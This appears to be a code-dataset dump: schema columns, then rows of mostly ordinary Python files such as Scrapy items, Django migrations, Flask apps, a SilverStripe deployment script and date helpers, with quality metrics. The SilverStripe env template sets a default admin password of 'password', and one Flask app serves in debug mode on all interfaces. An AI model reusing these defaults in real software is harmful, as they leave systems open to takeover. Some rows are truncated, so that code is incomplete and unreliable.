hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
1b0e6560554ea078399482c6009ad8180063716d
261
py
Python
output/models/nist_data/list_pkg/id/schema_instance/nistschema_sv_iv_list_id_white_space_1_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/nist_data/list_pkg/id/schema_instance/nistschema_sv_iv_list_id_white_space_1_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/nist_data/list_pkg/id/schema_instance/nistschema_sv_iv_list_id_white_space_1_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.nist_data.list_pkg.id.schema_instance.nistschema_sv_iv_list_id_white_space_1_xsd.nistschema_sv_iv_list_id_white_space_1 import ( NistschemaSvIvListIdWhiteSpace1, Out, ) __all__ = [ "NistschemaSvIvListIdWhiteSpace1", "Out", ]
26.1
147
0.808429
33
261
5.727273
0.636364
0.126984
0.148148
0.190476
0.328042
0.328042
0.328042
0.328042
0
0
0
0.017316
0.114943
261
9
148
29
0.800866
0
0
0
0
0
0.130268
0.118774
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1b21f3b6cb73964edd66ac51cc009d7eb818ff81
325
py
Python
ObjectOrientedProgramming/classmethod-vs-staticmethod.py
vit-shreyansh-kumar/DailyWorkAtHome
d1819bda5e835a078d011b98213779cabd91e3db
[ "MIT" ]
null
null
null
ObjectOrientedProgramming/classmethod-vs-staticmethod.py
vit-shreyansh-kumar/DailyWorkAtHome
d1819bda5e835a078d011b98213779cabd91e3db
[ "MIT" ]
null
null
null
ObjectOrientedProgramming/classmethod-vs-staticmethod.py
vit-shreyansh-kumar/DailyWorkAtHome
d1819bda5e835a078d011b98213779cabd91e3db
[ "MIT" ]
null
null
null
__about__="Class method vs Static Method." class MyClass: def method(self): print("Instance of method called", self) @classmethod def classmethod(cls): print("Instance of classmethod called", cls) @staticmethod def staticmethod(): print("Instance of staticmethod called")
20.3125
52
0.655385
35
325
5.971429
0.428571
0.186603
0.215311
0
0
0
0
0
0
0
0
0
0.252308
325
16
53
20.3125
0.860082
0
0
0
0
0
0.355828
0
0
0
0
0
0
1
0.3
false
0
0
0
0.4
0.3
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
1b25d18dceee80fe5da333dac6264e125246da53
711
py
Python
scraper/items.py
jessescn/ControleAcademico
496cb6b40ca894cecff1f8966dbf0389be392095
[ "MIT" ]
8
2019-09-25T18:24:24.000Z
2021-02-28T02:59:17.000Z
scraper/items.py
jessescn/ControleAcademico
496cb6b40ca894cecff1f8966dbf0389be392095
[ "MIT" ]
14
2019-09-19T17:13:48.000Z
2021-03-31T19:42:06.000Z
scraper/items.py
jessescn/ControleAcademico
496cb6b40ca894cecff1f8966dbf0389be392095
[ "MIT" ]
2
2019-10-02T19:07:00.000Z
2019-10-19T19:36:41.000Z
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://docs.scrapy.org/en/latest/topics/items.html import scrapy class DisciplinaItem(scrapy.Item): # define the fields for your item here like: codigo = scrapy.Field() disciplina = scrapy.Field() tipo = scrapy.Field() creditos = scrapy.Field() carga_horaria = scrapy.Field() media = scrapy.Field() situacao = scrapy.Field() periodo = scrapy.Field() class HorarioItem(scrapy.Item): disciplina = scrapy.Field() codigo = scrapy.Field() turma = scrapy.Field() creditos = scrapy.Field() horarios = scrapy.Field() carga_horaria = scrapy.Field()
23.7
53
0.66526
85
711
5.541176
0.482353
0.326964
0.072187
0.106157
0.248408
0.144374
0
0
0
0
0
0.001776
0.208158
711
29
54
24.517241
0.834814
0.25879
0
0.470588
0
0
0
0
0
0
0
0
0
1
0
false
0
0.058824
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
1b2a037d468344fc9bab3c324bd0d37b122eddca
4,340
py
Python
tfnz/platforms/silverstripe.py
20ft/20ft
9f928f77e07083d29eb8bc5fd1392c5e43e4e95d
[ "BSD-2-Clause" ]
null
null
null
tfnz/platforms/silverstripe.py
20ft/20ft
9f928f77e07083d29eb8bc5fd1392c5e43e4e95d
[ "BSD-2-Clause" ]
null
null
null
tfnz/platforms/silverstripe.py
20ft/20ft
9f928f77e07083d29eb8bc5fd1392c5e43e4e95d
[ "BSD-2-Clause" ]
null
null
null
# Copyright (c) 2017 David Preece, All rights reserved. # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. import logging from tfnz.location import Location from tfnz.volume import Volume from tfnz.components.postgresql import Postgresql from tfnz.endpoint import WebEndpoint, Cluster class SilverStripe: container_id = '7a4f9fbb6afc' """Puts a PHP/SilverStripe instance on each node and load balances. :param location: A location (object) to connect to. :param volume: A volume (object) to use as a persistent store. :param sql_volume: A volume to connect to a Postgres server for SQL storage. :param fqdn: The FQDN to publish to. :param image: Use a non-default container image. :param log_callback: An optional callback for log messages - signature (object, bytes)""" def __init__(self, location: Location, volume: Volume, sql_volume: Volume, fqdn: str, *, image=None, log_callback=None): nodes = location.ranked_nodes() # spawn database self.db = Postgresql(nodes[0], sql_volume, log_callback=log_callback) # spawn one webserver instance first_server = nodes[0].spawn_container(SilverStripe.container_id if image is None else image, volumes=[(volume, '/site/public/assets')], sleep=True, stdout_callback=log_callback) first_server.create_ssh_server() # recreate the .env because the database ip and password will have changed dotenv = SilverStripe.environment_template % (fqdn, self.db.password, self.db.private_ip()) first_server.put('/site/.env', dotenv.encode()) # start additional webservers self.webservers = [first_server] for node in nodes[1:]: server = node.spawn_container(SilverStripe.container_id, volumes=[(volume, '/site/public/assets')], sleep=True) self.webservers.append(server) # start the actual webserving process fqdn_sed = "sed -i -e 's/--fqdn--/%s/g' /etc/nginx/conf.d/nginx.conf" % fqdn timezone_sed = "sed -i -e 's/;date.timezone =/date.timezone = %s/g' /etc/php7/php.ini" % "UTC" # TODO pool_sed = "sed -i -e 's/pm.max_children = 5/pm.max_children = 16/g' /etc/php7/php-fpm.d/www.conf" for w in self.webservers: self.db.allow_connection_from(w) w.run_process('rm /etc/nginx/conf.d/default.conf /site/install*') w.run_process(fqdn_sed) w.run_process(timezone_sed) w.run_process(pool_sed) w.run_process('mkdir /run/nginx') w.spawn_process('nginx') w.spawn_process('php-fpm7') # gather together and serve into an endpoint self.cluster = Cluster(containers=self.webservers) location.endpoint_for(fqdn).publish(self.cluster, fqdn) # wait until we're actually able to serve self.db.wait_until_ready() WebEndpoint.wait_http_200(fqdn) logging.info("SilverStripe is up.") # Start tailing logs for w in self.webservers: w.spawn_process('tail -n 0 -f /var/log/nginx/access.log', data_callback=log_callback) w.spawn_process('tail -n 0 -f /var/log/nginx/error.log', data_callback=log_callback) environment_template = """ SS_BASE_URL="http://%s" SS_DATABASE_CLASS="PostgreSQLDatabase" SS_DATABASE_NAME="SS_mysite" SS_DATABASE_PASSWORD="%s" SS_DATABASE_PORT="5432" SS_DATABASE_SERVER="%s" SS_DATABASE_USERNAME="postgres" SS_DEFAULT_ADMIN_USERNAME="admin" SS_DEFAULT_ADMIN_PASSWORD="password" """
44.742268
110
0.661751
576
4,340
4.852431
0.385417
0.027549
0.019678
0.008587
0.118426
0.049374
0.049374
0.022182
0.022182
0.022182
0
0.007924
0.244009
4,340
96
111
45.208333
0.84395
0.218203
0
0.072727
0
0.054545
0.245361
0.127835
0
0
0
0.010417
0
1
0.018182
false
0.054545
0.090909
0
0.163636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
1b36b748a0c3513e0015f29a9b850f63030a3971
782
py
Python
WebODM-master/nodeodm/migrations/0007_auto_20190520_1258.py
abhinavsri000/UAVision
895fd883c1f5f492b4dcb573568b60ef03132cf6
[ "MIT" ]
null
null
null
WebODM-master/nodeodm/migrations/0007_auto_20190520_1258.py
abhinavsri000/UAVision
895fd883c1f5f492b4dcb573568b60ef03132cf6
[ "MIT" ]
8
2019-11-24T14:15:19.000Z
2020-04-19T09:06:04.000Z
WebODM-master/nodeodm/migrations/0007_auto_20190520_1258.py
abhinavsri000/UAVision
895fd883c1f5f492b4dcb573568b60ef03132cf6
[ "MIT" ]
null
null
null
# Generated by Django 2.1.7 on 2019-05-20 12:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nodeodm', '0006_auto_20190220_1842'), ] operations = [ migrations.RemoveField( model_name='processingnode', name='odm_version', ), migrations.AddField( model_name='processingnode', name='engine', field=models.CharField(help_text='Engine used by the node.', max_length=255, null=True), ), migrations.AddField( model_name='processingnode', name='engine_version', field=models.CharField(help_text='Engine version used by the node.', max_length=32, null=True), ), ]
27.928571
107
0.599744
83
782
5.506024
0.566265
0.059081
0.150985
0.177243
0.468271
0.468271
0.223195
0
0
0
0
0.064632
0.287724
782
27
108
28.962963
0.755835
0.057545
0
0.380952
1
0
0.216327
0.031293
0
0
0
0
0
1
0
false
0
0.047619
0
0.190476
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1b3bd6e68126828257c4ac19f72967756b3f037f
313
py
Python
app.py
amisampaio/service_flask
48f1b2160a2ec54fac26f91e2d3569400cf01162
[ "MIT" ]
null
null
null
app.py
amisampaio/service_flask
48f1b2160a2ec54fac26f91e2d3569400cf01162
[ "MIT" ]
null
null
null
app.py
amisampaio/service_flask
48f1b2160a2ec54fac26f91e2d3569400cf01162
[ "MIT" ]
null
null
null
import os #os.system("python -m pip install Flask==1.1.2") from flask import Flask, render_template app = Flask(__name__) # index @app.route('/') def index(): return "Hello" # /me @app.route("/me", methods=["GET"]) def get_results(): return "Dummy Result" if __name__ == "__main__": app.run()
16.473684
48
0.642173
45
313
4.155556
0.644444
0.085562
0
0
0
0
0
0
0
0
0
0.011673
0.178914
313
19
49
16.473684
0.715953
0.182109
0
0
0
0
0.128
0
0
0
0
0
0
1
0.181818
false
0
0.181818
0.181818
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
1b3d6f90b11a631b4c1b9c01f4a58b3645bb3c3e
299
py
Python
neuromodcell/experimental_data.py
jofrony/Neuromodulation
b5e1502701399c02cecff20b85d4ff8af7772ec9
[ "MIT" ]
2
2021-12-21T11:10:45.000Z
2021-12-21T11:11:04.000Z
neuromodcell/experimental_data.py
jofrony/Neuromodcell
b5e1502701399c02cecff20b85d4ff8af7772ec9
[ "MIT" ]
1
2021-03-27T23:15:29.000Z
2021-03-27T23:20:23.000Z
neuromodcell/experimental_data.py
jofrony/Neuromodcell
b5e1502701399c02cecff20b85d4ff8af7772ec9
[ "MIT" ]
1
2021-03-27T23:13:48.000Z
2021-03-27T23:13:48.000Z
''' Class for adding the expreimental data for the cell model ''' class Experimental: def __init__(self): self.experimental_data = dict() def define_exp(self, **kwargs): for exp_type, data in kwargs.items(): self.experimental_data.update({exp_type: data})
17.588235
59
0.652174
38
299
4.894737
0.526316
0.172043
0.215054
0
0
0
0
0
0
0
0
0
0.240803
299
16
60
18.6875
0.819383
0.190635
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.5
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
1b410e2b4a7782e4d03ef4deca0a7a209e00ec11
533
py
Python
play_pytorch/elab_linknet/confusion_matrix.py
denethor1997/replica_examples
804543b849561bade30b18a0b2d551442d4c81f0
[ "Apache-2.0" ]
null
null
null
play_pytorch/elab_linknet/confusion_matrix.py
denethor1997/replica_examples
804543b849561bade30b18a0b2d551442d4c81f0
[ "Apache-2.0" ]
null
null
null
play_pytorch/elab_linknet/confusion_matrix.py
denethor1997/replica_examples
804543b849561bade30b18a0b2d551442d4c81f0
[ "Apache-2.0" ]
null
null
null
import torch import math import numpy as np from sklearn.metrics import confusion_matrix class ConfusionMatrix: def __init__(self, nclasses, classes): self.mat = np.zeros((nclasses, nclasses), dtype=np.float) self.valids = np.zeros((nclasses), dtype=np.float) self.IoU = np.zeros((nclasses), dtype=np.float) self.mIoU = 0 self.nclasses = nclasses self.classes = classes self.list_classes = list(range(nclasses)) def update_matrix(self, target, prediction):
28.052632
65
0.666041
67
533
5.19403
0.462687
0.060345
0.12931
0.172414
0.247126
0.178161
0.178161
0
0
0
0
0.002439
0.230769
533
18
66
29.611111
0.846341
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0.285714
null
null
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
1b432d5f66bc845198b8d19c5cf941c86130f841
806
py
Python
websaver/parsed_data/migrations/0006_auto_20171022_1928.py
aiirohituzi/myWebCrawler
67060f724de1142b7d7d6f6fb981d3c1e925d9b0
[ "MIT" ]
2
2017-08-21T14:38:22.000Z
2017-08-22T01:35:36.000Z
websaver/parsed_data/migrations/0006_auto_20171022_1928.py
aiirohituzi/myWebCrawler
67060f724de1142b7d7d6f6fb981d3c1e925d9b0
[ "MIT" ]
2
2017-09-05T09:54:26.000Z
2017-12-03T13:06:02.000Z
websaver/parsed_data/migrations/0006_auto_20171022_1928.py
aiirohituzi/myWebCrawler
67060f724de1142b7d7d6f6fb981d3c1e925d9b0
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2017-10-22 10:28 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('parsed_data', '0005_auto_20171019_2318'), ] operations = [ migrations.AddField( model_name='ratingdata', name='duofppkd', field=models.CharField(max_length=5, null=True), ), migrations.AddField( model_name='ratingdata', name='solofppkd', field=models.CharField(max_length=5, null=True), ), migrations.AddField( model_name='ratingdata', name='squadfppkd', field=models.CharField(max_length=5, null=True), ), ]
26
60
0.588089
83
806
5.53012
0.542169
0.117647
0.150327
0.176471
0.51634
0.51634
0.427015
0.427015
0.344227
0.344227
0
0.063269
0.294045
806
30
61
26.866667
0.743409
0.084367
0
0.521739
1
0
0.12381
0.031293
0
0
0
0
0
1
0
false
0
0.086957
0
0.217391
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1b550537baf3c739d4b2ecf848abefe19826dadf
680
py
Python
templates/trash/app.py
cameronosmith/webreg-to-google-calendar
b245d17ce763082f253e98755d1e24a973b6d1ea
[ "MIT" ]
null
null
null
templates/trash/app.py
cameronosmith/webreg-to-google-calendar
b245d17ce763082f253e98755d1e24a973b6d1ea
[ "MIT" ]
null
null
null
templates/trash/app.py
cameronosmith/webreg-to-google-calendar
b245d17ce763082f253e98755d1e24a973b6d1ea
[ "MIT" ]
null
null
null
#!flask/bin/python from flask import Flask, render_template, request import json import pythonScripts.main application = app = Flask(__name__) @app.route("/") def output(): return render_template("index.html", name="Joe") @app.route('/receiver',methods=['POST']) def worker(): credentials = json.loads(request.form.keys()[0])#parse the stringified json username = credentials['username'] password = credentials['password'] print 'about to get the user schedule ipnut' eventsDataAsString = json.dumps(pythonScripts.main.run(username,password)) print 'we got the credentials' return eventsDataAsString if __name__ == "__main__": app.run()
26.153846
79
0.719118
82
680
5.792683
0.585366
0.058947
0
0
0
0
0
0
0
0
0
0.001733
0.151471
680
25
80
27.2
0.82149
0.063235
0
0
0
0
0.171654
0
0
0
0
0
0
0
null
null
0.111111
0.166667
null
null
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
1b5c5090d754b4c9b6eb2ca44e0c0e06c9142607
550
py
Python
tests/r/test_minard_troops.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
199
2017-07-24T01:34:27.000Z
2022-01-29T00:50:55.000Z
tests/r/test_minard_troops.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
46
2017-09-05T19:27:20.000Z
2019-01-07T09:47:26.000Z
tests/r/test_minard_troops.py
hajime9652/observations
2c8b1ac31025938cb17762e540f2f592e302d5de
[ "Apache-2.0" ]
45
2017-07-26T00:10:44.000Z
2022-03-16T20:44:59.000Z
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.minard_troops import minard_troops def test_minard_troops(): """Test module minard_troops.py by downloading minard_troops.csv and testing shape of extracted data has 51 rows and 5 columns """ test_path = tempfile.mkdtemp() x_train, metadata = minard_troops(test_path) try: assert x_train.shape == (51, 5) except: shutil.rmtree(test_path) raise()
22.916667
54
0.769091
78
550
5.089744
0.538462
0.18136
0.120907
0
0
0
0
0
0
0
0
0.013129
0.169091
550
23
55
23.913043
0.85558
0.223636
0
0
0
0
0
0
0
0
0
0
0.066667
1
0.066667
false
0
0.466667
0
0.533333
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
1b5e2083bc72942047e4d9acbc0132d02d28b0a9
452
py
Python
test/unit/rl/test_simulator.py
akangasr/sdirl
b8b2bf34fea1b1f0c2f9961a9ad9c1ad34396f5b
[ "MIT" ]
null
null
null
test/unit/rl/test_simulator.py
akangasr/sdirl
b8b2bf34fea1b1f0c2f9961a9ad9c1ad34396f5b
[ "MIT" ]
null
null
null
test/unit/rl/test_simulator.py
akangasr/sdirl
b8b2bf34fea1b1f0c2f9961a9ad9c1ad34396f5b
[ "MIT" ]
null
null
null
from unittest.mock import Mock from sdirl.rl.simulator import RLSimulator, RLParams from pybrain.rl.environments import Environment, EpisodicTask from sdirl.model import ModelParameter class TestRLModel(): def test_can_be_initialized(self): rl_params = RLParams() model = RLSimulator(rl_params, parameters = [ModelParameter("param1", (0,1))], env=Mock(Environment), task=Mock(EpisodicTask))
26.588235
61
0.701327
50
452
6.24
0.6
0.057692
0
0
0
0
0
0
0
0
0
0.008403
0.210177
452
16
62
28.25
0.865546
0
0
0
0
0
0.013333
0
0
0
0
0
0
1
0.090909
false
0
0.363636
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
1b6ece9697ec27f30e1b2e6bc5ed25fc8f85447e
190
py
Python
src/app.py
dslosky/flask-boilerplate
6d6a71b737efaf802992001d3aa2eb7ba63081ea
[ "MIT" ]
null
null
null
src/app.py
dslosky/flask-boilerplate
6d6a71b737efaf802992001d3aa2eb7ba63081ea
[ "MIT" ]
null
null
null
src/app.py
dslosky/flask-boilerplate
6d6a71b737efaf802992001d3aa2eb7ba63081ea
[ "MIT" ]
null
null
null
from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/') def test(): return '<h1>TEST</h1>' if __name__ == '__main__': app.run(host='0.0.0.0', debug=True)
15.833333
41
0.631579
29
190
3.724138
0.655172
0.055556
0.055556
0
0
0
0
0
0
0
0
0.037975
0.168421
190
11
42
17.272727
0.64557
0
0
0
0
0
0.152632
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0.142857
0.428571
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
2
1b6f2190444c86117eb244363da39eb84b6adf17
3,101
py
Python
helpers/date_tools.py
meatware/helpohelpo
8f6a78741a7b28d74b69670bb89de813a0d4940e
[ "MIT" ]
1
2020-10-25T11:03:14.000Z
2020-10-25T11:03:14.000Z
helpers/date_tools.py
meatware/helpohelpo
8f6a78741a7b28d74b69670bb89de813a0d4940e
[ "MIT" ]
null
null
null
helpers/date_tools.py
meatware/helpohelpo
8f6a78741a7b28d74b69670bb89de813a0d4940e
[ "MIT" ]
null
null
null
"""Helpers to manipulate times""" import os from datetime import datetime import arrow import sys import os import logging from datetime import datetime, timedelta import re from dateutil import tz from pydash import get LOG = logging.getLogger(__name__) def get_unix_ts_unit(unix_ts): """Check if linux timestamp units are in seconds or ms.""" if len(unix_ts) == 13: unit = "ms" elif len(unix_ts) == 10: unit = "s" return unit def convert_unix_time(unix_time): """Convert unix timestamp to date-time object.""" return datetime.fromtimestamp(unix_time / 1000, tz=tz.tzutc()) def format_dt_object(dt_obj, fmt_str): """return date time object in format specified.""" return datetime.strftime(dt_obj, fmt_str) def check_date_fmt(date_string=None): """Check that date matches format "YYYY-MM-DD".""" if re.match(REGEX_PATTERN, date_string): LOG.debug("date string verified") return True LOG.debug("Whoops! Incorrect date format") return False def string_to_datetime(date_str, time_format): """Convert pre-checked string into datetime object.""" datet_obj = datetime.strptime(date_str, time_format) return datet_obj def calc_ndays_fwd(ndays): """Returns a date string n days from today for use in an AWS schedule_deletion tag.""" utc_time_now = datetime.utcnow() ndays_fwd = utc_time_now.date() + timedelta(days=ndays) ndays_fwd_str = format_dt_object(ndays_fwd, "%Y-%m-%d") return ndays_fwd_str def calc_ndays_back_from_today(days_back): """Calculates the difference bewteen today and ndays back.""" utc_time_now = datetime.utcnow().replace(tzinfo=tz.tzutc()) ndays_back = utc_time_now - timedelta(days=days_back) return ndays_back def calc_days_from_2dates_diff(prev_date): """Calculates the difference bewteen today and a previous date in days.""" utc_time_now = datetime.utcnow().replace(tzinfo=tz.tzutc()) # ndays_back = utc_time_now - timedelta(days=prev_date) ndays_back = utc_time_now - prev_date return ndays_back.days def datetimeformat(date_str): """Print relative time from date_str.""" mydate_time = arrow.get(date_str) return mydate_time.humanize() def unixtime_to_datestring(unix_time): """Convert unix timestamp into a string.""" return datetime.fromtimestamp(unix_time).strftime("%Y-%m-%d %H:%M:%S") def unixtime_to_datetime(unix_time): """Convert unix timestamp into a string.""" return datetime.utcfromtimestamp(unix_time) # TODO: unify redundant time functions def time_from_string(mytime_str, tformat="%H:%M"): """Converts a string into a time object.""" return datetime.strptime(mytime_str, tformat).time() def date_from_string(mydate_str): """Converts a string into a date object.""" return datetime.strptime(mydate_str, "%Y-%m-%d").date() # TODO: Move to another module def find_nested_key(aws_response, key_path): """Check if nested mixed dictionary/list object has dict key. Uses pydash get""" return get(aws_response, key_path)
25.211382
84
0.716221
455
3,101
4.654945
0.303297
0.02644
0.03305
0.030217
0.240793
0.157696
0.121813
0.121813
0.121813
0.121813
0
0.003523
0.176072
3,101
122
85
25.418033
0.82544
0.27475
0
0.071429
0
0
0.041532
0
0
0
0
0.008197
0
1
0.25
false
0
0.178571
0
0.696429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1b7fc1c11c9171bb94fad2f3d42be41dd5452425
2,723
py
Python
testmile-setu/setu/interface/setu_action.py
test-mile/setu
b273a11e7f9462e64a370bda16f1952ecdbfb5a5
[ "Apache-2.0" ]
null
null
null
testmile-setu/setu/interface/setu_action.py
test-mile/setu
b273a11e7f9462e64a370bda16f1952ecdbfb5a5
[ "Apache-2.0" ]
null
null
null
testmile-setu/setu/interface/setu_action.py
test-mile/setu
b273a11e7f9462e64a370bda16f1952ecdbfb5a5
[ "Apache-2.0" ]
null
null
null
